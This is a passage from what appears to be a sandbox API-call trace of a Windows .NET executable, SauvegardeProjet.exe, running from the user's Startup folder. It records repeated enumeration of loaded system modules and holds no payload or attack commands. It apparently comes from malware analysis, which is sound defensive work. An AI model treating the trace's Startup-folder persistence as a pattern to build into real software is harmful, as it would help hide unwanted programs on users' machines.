nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0233.784] CoTaskMemFree (pv=0x4fb3308) [0233.784] GetModuleInformation (in: hProcess=0x284, hModule=0x73b00000, lpmodinfo=0x23a561c, cb=0xc | out: lpmodinfo=0x23a561c*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0233.784] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.784] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73b00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0233.785] CoTaskMemFree (pv=0x4fb3308) [0233.785] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.785] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73b00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0233.785] CoTaskMemFree (pv=0x4fb3308) [0233.785] GetModuleInformation (in: hProcess=0x284, hModule=0x71210000, lpmodinfo=0x23a77e8, cb=0xc | out: lpmodinfo=0x23a77e8*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0233.786] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.786] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71210000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0233.787] CoTaskMemFree (pv=0x4fb3308) [0233.787] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.787] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71210000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0233.787] CoTaskMemFree (pv=0x4fb3308) [0233.787] GetModuleInformation (in: hProcess=0x284, hModule=0x73ee0000, lpmodinfo=0x23a99d8, cb=0xc | out: lpmodinfo=0x23a99d8*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0233.788] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.788] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0233.788] CoTaskMemFree (pv=0x4fb3308) [0233.788] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.788] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0233.789] CoTaskMemFree (pv=0x4fb3308) [0233.789] GetModuleInformation (in: hProcess=0x284, hModule=0x73ac0000, lpmodinfo=0x23abbf0, cb=0xc | out: lpmodinfo=0x23abbf0*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0233.790] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.790] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ac0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0233.790] CoTaskMemFree (pv=0x4fb3308) [0233.790] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.790] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ac0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0233.791] CoTaskMemFree (pv=0x4fb3308) [0233.791] GetModuleInformation (in: hProcess=0x284, hModule=0x73a30000, lpmodinfo=0x23adcfc, cb=0xc | out: lpmodinfo=0x23adcfc*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0233.791] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.791] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0233.794] CoTaskMemFree (pv=0x4fb3308) [0233.794] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.794] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0233.794] CoTaskMemFree (pv=0x4fb3308) [0233.795] GetModuleInformation (in: hProcess=0x284, hModule=0x73a10000, lpmodinfo=0x23afec4, cb=0xc | out: lpmodinfo=0x23afec4*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0233.795] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.795] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0233.796] CoTaskMemFree (pv=0x4fb3308) [0233.796] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.796] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0233.796] CoTaskMemFree (pv=0x4fb3308) [0233.796] GetModuleInformation (in: hProcess=0x284, hModule=0x73940000, lpmodinfo=0x23b2014, cb=0xc | out: lpmodinfo=0x23b2014*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0233.797] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.797] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73940000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0233.798] CoTaskMemFree (pv=0x4fb3308) [0233.798] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.798] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73940000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0233.798] CoTaskMemFree (pv=0x4fb3308) [0233.798] GetModuleInformation (in: hProcess=0x284, hModule=0x71080000, lpmodinfo=0x23b4210, cb=0xc | out: lpmodinfo=0x23b4210*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0233.799] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.799] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71080000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0233.800] CoTaskMemFree (pv=0x4fb3308) [0233.800] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.800] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71080000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0233.800] CoTaskMemFree (pv=0x4fb3308) [0233.800] GetModuleInformation (in: hProcess=0x284, hModule=0x70ee0000, lpmodinfo=0x23b63c0, cb=0xc | out: lpmodinfo=0x23b63c0*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0233.801] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.801] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0233.802] CoTaskMemFree (pv=0x4fb3308) [0233.802] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.802] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0233.802] CoTaskMemFree (pv=0x4fb3308) [0233.802] GetModuleInformation (in: hProcess=0x284, hModule=0x735f0000, lpmodinfo=0x23b8588, cb=0xc | out: lpmodinfo=0x23b8588*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0233.803] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.803] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x735f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0233.804] CoTaskMemFree (pv=0x4fb3308) [0233.804] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.804] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x735f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0233.804] CoTaskMemFree (pv=0x4fb3308) [0233.804] GetModuleInformation (in: hProcess=0x284, hModule=0x75b40000, lpmodinfo=0x23ba694, cb=0xc | out: lpmodinfo=0x23ba694*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0233.805] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.805] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75b40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0233.806] CoTaskMemFree (pv=0x4fb3308) [0233.806] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.806] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75b40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0233.806] CoTaskMemFree (pv=0x4fb3308) [0233.807] GetModuleInformation (in: hProcess=0x284, hModule=0x70de0000, lpmodinfo=0x23bc7a0, cb=0xc | out: lpmodinfo=0x23bc7a0*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0233.807] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.807] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70de0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0233.808] CoTaskMemFree (pv=0x4fb3308) [0233.808] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.808] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70de0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0233.809] CoTaskMemFree (pv=0x4fb3308) [0233.809] GetModuleInformation (in: hProcess=0x284, hModule=0x77ae0000, lpmodinfo=0x23be8c4, cb=0xc | out: lpmodinfo=0x23be8c4*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0233.809] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.809] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0233.810] CoTaskMemFree (pv=0x4fb3308) [0233.810] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.810] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0233.811] CoTaskMemFree (pv=0x4fb3308) [0233.811] CloseHandle (hObject=0x284) returned 1 [0233.946] GetCurrentProcessId () returned 0x564 [0233.946] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x284 [0233.946] EnumProcessModules (in: hProcess=0x284, lphModule=0x2428d24, cb=0x100, lpcbNeeded=0x636cee0 | out: lphModule=0x2428d24, lpcbNeeded=0x636cee0) returned 1 [0233.947] GetModuleInformation (in: hProcess=0x284, hModule=0x260000, lpmodinfo=0x2428e64, cb=0xc | out: lpmodinfo=0x2428e64*(lpBaseOfDll=0x260000, SizeOfImage=0x9c000, EntryPoint=0x2f6c3e)) returned 1 [0233.947] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.947] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x260000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0233.947] CoTaskMemFree (pv=0x4fb3308) [0233.947] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.947] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x260000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x70 [0233.948] CoTaskMemFree (pv=0x4fb3308) [0233.948] GetModuleInformation (in: hProcess=0x284, hModule=0x77b10000, lpmodinfo=0x242b044, cb=0xc | out: lpmodinfo=0x242b044*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0233.948] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.948] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77b10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0233.948] CoTaskMemFree (pv=0x4fb3308) [0233.948] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.948] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77b10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0233.948] CoTaskMemFree (pv=0x4fb3308) [0233.948] GetModuleInformation (in: hProcess=0x284, hModule=0x736a0000, lpmodinfo=0x242d148, cb=0xc | out: lpmodinfo=0x242d148*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0233.948] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.948] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x736a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0233.949] CoTaskMemFree (pv=0x4fb3308) [0233.949] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.949] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x736a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0233.949] CoTaskMemFree (pv=0x4fb3308) [0233.949] GetModuleInformation (in: hProcess=0x284, hModule=0x77540000, lpmodinfo=0x242f254, cb=0xc | out: lpmodinfo=0x242f254*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0233.949] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.949] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0233.950] CoTaskMemFree (pv=0x4fb3308) [0233.950] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.950] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0233.950] CoTaskMemFree (pv=0x4fb3308) [0233.950] GetModuleInformation (in: hProcess=0x284, hModule=0x75990000, lpmodinfo=0x2431368, cb=0xc | out: lpmodinfo=0x2431368*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0233.950] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.950] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75990000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0233.950] CoTaskMemFree (pv=0x4fb3308) [0233.951] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.951] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75990000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0233.951] CoTaskMemFree (pv=0x4fb3308) [0233.951] GetModuleInformation (in: hProcess=0x284, hModule=0x773f0000, lpmodinfo=0x24334b0, cb=0xc | out: lpmodinfo=0x24334b0*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0233.951] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.951] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x773f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0233.951] CoTaskMemFree (pv=0x4fb3308) [0233.951] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.951] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x773f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0233.952] CoTaskMemFree (pv=0x4fb3308) [0233.952] GetModuleInformation (in: hProcess=0x284, hModule=0x77490000, lpmodinfo=0x24355c4, cb=0xc | out: lpmodinfo=0x24355c4*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0233.952] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.952] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77490000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0233.952] CoTaskMemFree (pv=0x4fb3308) [0233.952] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.952] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77490000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0233.953] CoTaskMemFree (pv=0x4fb3308) [0233.953] GetModuleInformation (in: hProcess=0x284, hModule=0x75f70000, lpmodinfo=0x24376d0, cb=0xc | out: lpmodinfo=0x24376d0*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0233.953] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.953] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75f70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0233.953] CoTaskMemFree (pv=0x4fb3308) [0233.953] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.953] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75f70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0233.954] CoTaskMemFree (pv=0x4fb3308) [0233.954] GetModuleInformation (in: hProcess=0x284, hModule=0x758a0000, lpmodinfo=0x24397dc, cb=0xc | out: lpmodinfo=0x24397dc*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0233.954] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.954] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x758a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0233.954] CoTaskMemFree (pv=0x4fb3308) [0233.954] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.954] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x758a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0233.954] CoTaskMemFree (pv=0x4fb3308) [0233.954] GetModuleInformation (in: hProcess=0x284, hModule=0x75670000, lpmodinfo=0x243b934, cb=0xc | out: lpmodinfo=0x243b934*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0233.955] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.955] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75670000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0233.955] CoTaskMemFree (pv=0x4fb3308) [0233.955] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.955] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75670000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0233.955] CoTaskMemFree (pv=0x4fb3308) [0233.955] GetModuleInformation (in: hProcess=0x284, hModule=0x75660000, lpmodinfo=0x243da40, cb=0xc | out: lpmodinfo=0x243da40*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0233.955] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.956] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75660000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0233.956] CoTaskMemFree (pv=0x4fb3308) [0233.956] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.956] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75660000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0233.956] CoTaskMemFree (pv=0x4fb3308) [0233.956] GetModuleInformation (in: hProcess=0x284, hModule=0x73620000, lpmodinfo=0x243fb54, cb=0xc | out: lpmodinfo=0x243fb54*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0233.956] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.957] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73620000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0233.957] CoTaskMemFree (pv=0x4fb3308) [0233.957] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.957] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73620000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0233.957] CoTaskMemFree (pv=0x4fb3308) [0233.957] GetModuleInformation (in: hProcess=0x284, hModule=0x75db0000, lpmodinfo=0x2441c9c, cb=0xc | out: lpmodinfo=0x2441c9c*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0233.957] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.957] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75db0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0233.958] CoTaskMemFree (pv=0x4fb3308) [0233.958] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.958] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75db0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0233.958] CoTaskMemFree (pv=0x4fb3308) [0233.958] GetModuleInformation (in: hProcess=0x284, hModule=0x75810000, lpmodinfo=0x2443da8, cb=0xc | out: lpmodinfo=0x2443da8*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0233.958] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.958] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75810000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0233.959] CoTaskMemFree (pv=0x4fb3308) [0233.959] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.959] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75810000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0233.959] CoTaskMemFree (pv=0x4fb3308) [0233.959] GetModuleInformation (in: hProcess=0x284, hModule=0x75e10000, lpmodinfo=0x2445eac, cb=0xc | out: lpmodinfo=0x2445eac*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0233.959] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.959] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75e10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0233.960] CoTaskMemFree (pv=0x4fb3308) [0233.960] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.960] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75e10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0233.960] CoTaskMemFree (pv=0x4fb3308) [0233.960] GetModuleInformation (in: hProcess=0x284, hModule=0x772c0000, lpmodinfo=0x2447fb8, cb=0xc | out: lpmodinfo=0x2447fb8*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0233.960] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.960] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x772c0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0233.961] CoTaskMemFree (pv=0x4fb3308) [0233.961] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.961] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x772c0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0233.961] CoTaskMemFree (pv=0x4fb3308) [0233.961] GetModuleInformation (in: hProcess=0x284, hModule=0x75a30000, lpmodinfo=0x244a0b4, cb=0xc | out: lpmodinfo=0x244a0b4*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, 